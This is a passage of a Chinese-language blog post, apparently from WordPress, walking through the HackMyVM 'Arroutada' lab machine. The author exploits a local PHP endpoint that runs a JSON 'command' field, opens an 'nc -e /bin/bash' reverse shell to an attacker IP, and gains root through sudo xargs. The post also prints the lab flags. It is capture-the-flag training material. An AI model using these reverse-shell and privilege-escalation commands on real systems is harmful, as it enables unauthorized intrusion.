-altp\nState             Recv-Q            Send-Q                       Local Address:Port                       Peer Address:Port           Process           \nLISTEN            0                 4096                             127.0.0.1:8000                            0.0.0.0:*                                \nLISTEN            0                 511                                      *:http                                  *:*                        \n(remote) www-data@arroutada:\/var\/backups$ ss -altp\nState             Recv-Q            Send-Q                       Local Address:Port                       Peer Address:Port           Process           \nLISTEN            0                 4096                             127.0.0.1:8000                            0.0.0.0:*                                \nLISTEN            0                 511                                      *:http                                  *:*                                \n(remote) www-data@arroutada:\/var\/backups$ nc 0.0.0.0 8000\nwhoami\n^C\n(remote) www-data@arroutada:\/var\/backups$ cd \/tmp            \n(remote) www-data@arroutada:\/tmp$ curl http:\/\/127.0.0.1:8000\nbash: curl: command not found\n(remote) www-data@arroutada:\/tmp$ busybox curl http:\/\/127.0.0.1:8000\ncurl: applet not found\n(remote) www-data@arroutada:\/tmp$ wget http:\/\/127.0.0.1:8000\n--2024-04-27 05:18:22--  http:\/\/127.0.0.1:8000\/\nConnecting to 127.0.0.1:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 319 [text\/html]\nSaving to: &#039;index.html&#039;\n\nindex.html                            100%[=========================================================================&gt;]     319  --.-KB\/s    in 0.02s   \n\n2024-04-27 05:18:22 (15.7 KB\/s) - &#039;index.html&#039; saved [319\/319]\n\n(remote) www-data@arroutada:\/tmp$ cat index.html \n&lt;h1&gt;Service under maintenance&lt;\/h1&gt;\n\n&lt;br&gt;\n\n&lt;h6&gt;This site is from ++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;&gt;---.+++++++++++..&lt;&lt;++.&gt;++.&gt;-----------.++.++++++++.&lt;+++++.&gt;++++++++++++++.&lt;+++++++++.---------.&lt;.&gt;&gt;-----------------.-------.++.++++++++.------.+++++++++++++.+.&lt;&lt;+..&lt;\/h6&gt;\n\n&lt;!-- Please sanitize \/priv.php --&gt;<\/code><\/pre>\n<h3>\u5957\u5a03<\/h3>\n<p>\u5f00\u653e\u4e86\u4e00\u4e2a<code>8000<\/code>\u7aef\u53e3\uff0c\u4e14\u63d0\u53d6\u51fa\u6765\u4fe1\u606f\uff0c\u6b63\u597d\u6211\u89c1\u8fc7\uff0c\u8fd9\u662f<code>brainfuck<\/code>\u7f16\u7801\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734647.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734647.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427172009297\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-apl\">all HackMyVM hackers!!<\/code><\/pre>\n<p>\u7ee7\u7eed\u67e5\u770b\u4e00\u4e0b\u5b83\u7ed9\u7684\u53e6\u4e00\u4e2a\u5b50\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@arroutada:\/tmp$ wget http:\/\/127.0.0.1:8000\/priv.php\n--2024-04-27 05:21:38--  http:\/\/127.0.0.1:8000\/priv.php\nConnecting to 127.0.0.1:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: unspecified [text\/html]\nSaving to: &#039;priv.php&#039;\n\npriv.php                                  [ &lt;=&gt;                                                                      ]     308  --.-KB\/s    in 0s      \n\n2024-04-27 05:21:38 (75.6 MB\/s) - &#039;priv.php&#039; saved [308]\n\n(remote) www-data@arroutada:\/tmp$ cat priv.php \nError: the &quot;command&quot; parameter is not specified in the request body.\n\n\/*\n\n$json = file_get_contents(&#039;php:\/\/input&#039;);\n$data = json_decode($json, true);\n\nif (isset($data[&#039;command&#039;])) {\n    system($data[&#039;command&#039;]);\n} else {\n    echo &#039;Error: the &quot;command&quot; parameter is not specified in the request body.&#039;;\n}\n\n*\/<\/code><\/pre>\n<p>\u5b58\u5728\u547d\u4ee4\u6267\u884c\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734648.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734648.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427172521351\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734649.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734649.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427172538279\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u6267\u884c\uff1a<\/p>\n<pre><code>wget --post-data &#039;command=whoami&#039; http:\/\/127.0.0.1:8000\/priv.php -q -o -<\/code><\/pre>\n<blockquote>\n<p><strong><code>-q<\/code><\/strong>:<\/p>\n<ul>\n<li>\u8fd9\u4e2a\u53c2\u6570\u544a\u8bc9 <code>wget<\/code> \u5728\u8fd0\u884c\u65f6\u4e0d\u8981\u8f93\u51fa\u4efb\u4f55\u4fe1\u606f\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u4f1a\u5728\u201c\u5b89\u9759\u201d\u6a21\u5f0f\u4e0b\u8fd0\u884c\uff0c\u4e0d\u663e\u793a\u8fdb\u5ea6\u6216\u9519\u8bef\u6d88\u606f\u3002<\/li>\n<\/ul>\n<p><strong><code>-O -<\/code><\/strong>:<\/p>\n<ul>\n<li>\n<p><code>-O<\/code> \u53c2\u6570\u7528\u4e8e\u6307\u5b9a\u8f93\u51fa\u6587\u4ef6\u7684\u540d\u79f0\u3002<\/p>\n<\/li>\n<li>\n<p>\u5728\u8fd9\u91cc\uff0c<code>-<\/code>\uff08\u4e00\u4e2a\u7834\u6298\u53f7\uff09\u662f\u4e00\u4e2a\u7279\u6b8a\u503c\uff0c\u5b83\u544a\u8bc9 <code>wget<\/code> \u5c06\u8f93\u51fa\u76f4\u63a5\u5199\u5165\u6807\u51c6\u8f93\u51fa\uff08\u901a\u5e38\u662f\u7ec8\u7aef\u6216\u547d\u4ee4\u884c\u754c\u9762\uff09\u3002\u8fd9\u610f\u5473\u7740\u670d\u52a1\u5668\u7684\u54cd\u5e94\u5c06\u76f4\u63a5\u663e\u793a\u5728\u547d\u4ee4\u884c\u4e0a\uff0c\u800c\u4e0d\u662f\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\u3002<\/p>\n<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u989d\uff0c\u662fjson\u683c\u5f0f\u7684\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@arroutada:\/tmp$ wget --post-data=&#039;{&quot;command&quot;:&quot;whoami&quot;}&#039; http:\/\/127.0.0.1:8000\/priv.php -q -O -\ndrito\n\n\/*\n\n$json = file_get_contents(&#039;php:\/\/input&#039;);\n$data = json_decode($json, true);\n\nif (isset($data[&#039;command&#039;])) {\n    system($data[&#039;command&#039;]);\n} else {\n    echo &#039;Error: the &quot;command&quot; parameter is not specified in the request body.&#039;;\n}\n\n*\/<\/code><\/pre>\n<p>\u6210\u529f\u6267\u884c\u4e86!<\/p>\n<h3>\u5207\u6362\u81f3www-data<\/h3>\n<pre><code class=\"language-bash\">wget --post-data=&#039;{&quot;command&quot;:&quot;nc -e \/bin\/bash 192.168.0.143 1234&quot;}&#039; http:\/\/127.0.0.1:8000\/priv.php -q -O -<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734650.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734650.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427173204000\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4fe1\u606f\u641c\u96c6\u4e86\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) drito@arroutada:\/home\/drito\/web$ sudo -l\nMatching Defaults entries for drito on arroutada:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser drito may run the following commands on arroutada:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/xargs<\/code><\/pre>\n<p>\u53d1\u73b0\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f\uff1a<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/xargs\/#sudo\">https:\/\/gtfobins.github.io\/gtfobins\/xargs\/#sudo<\/a><\/p>\n<h3>xargs\u63d0\u6743\uff01\uff01\uff01<\/h3>\n<pre><code class=\"language-bash\">(remote) drito@arroutada:\/home\/drito\/web$ sudo \/usr\/bin\/xargs -a \/dev\/null bash\nroot@arroutada:\/home\/drito\/web# cd \/root\nroot@arroutada:~# ls -la\nctotal 28\ndrwx------  3 root root 4096 Jan  8  2023 .\ndrwxr-xr-x 18 root root 4096 Jan  8  2023 ..\n-rw-------  1 root root   88 Jan  8  2023 .bash_history\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\ndrwxr-xr-x  3 root root 4096 Jan  8  2023 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-r--------  1 root root   37 Jan  8  2023 root.txt\nroot@arroutada:~# cat root.txt \nR3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg==\nroot@arroutada:~# cd \/home\nroot@arroutada:\/home# ls\ndrito\nroot@arroutada:\/home# cd drito\/\nroot@arroutada:\/home\/drito# ls -la\ntotal 48\ndrwxr-x--- 3 drito drito  4096 Jan 10  2023 .\ndrwxr-xr-x 3 root  root   4096 Jan  8  2023 ..\n-rw-r--r-- 1 drito drito   220 Mar 27  2022 .bash_logout\n-rw-r--r-- 1 drito drito  3526 Mar 27  2022 .bashrc\n-rw-r--r-- 1 drito drito   807 Mar 27  2022 .profile\n---x--x--x 1 drito drito 16608 Jan  8  2023 service\n-r-------- 1 drito drito    33 Jan  8  2023 user.txt\nd-wx--x--x 2 drito drito  4096 Jan  8  2023 web\nroot@arroutada:\/home\/drito# cat user.txt \n785f64437c6e1f9af6aa1afcc91ed27c<\/code><\/pre>\n<p>\u5f97\u5230rootshell\uff01\uff01\uff01\uff01<\/p>\n<h3>\u89e3\u7801rootflag\uff01<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271740124.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271740124.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427173734062\" \/><\/div><\/p>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/n00br00t.github.io\/posts\/HMV-arroutada\/\">https:\/\/n00br00t.github.io\/posts\/HMV-arroutada\/<\/a><\/p>\n<p><a href=\"https:\/\/www.cnblogs.com\/azwhikaru\/p\/17264599.html\">https:\/\/www.cnblogs.com\/azwhikaru\/p\/17264599.html<\/a><\/p>\n<p><a href=\"https:\/\/nepcodex.com\/2023\/01\/arroutada-writeup-from-hackmyvm-walkthrough\/\">https:\/\/nepcodex.com\/2023\/01\/arroutada-writeup-from-hackmyvm-walkthrough\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Arroutada \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada] \u2514 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-647","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=647"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions"}],"predecessor-version":[{"id":648,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/647\/revisions\/648"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=647"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}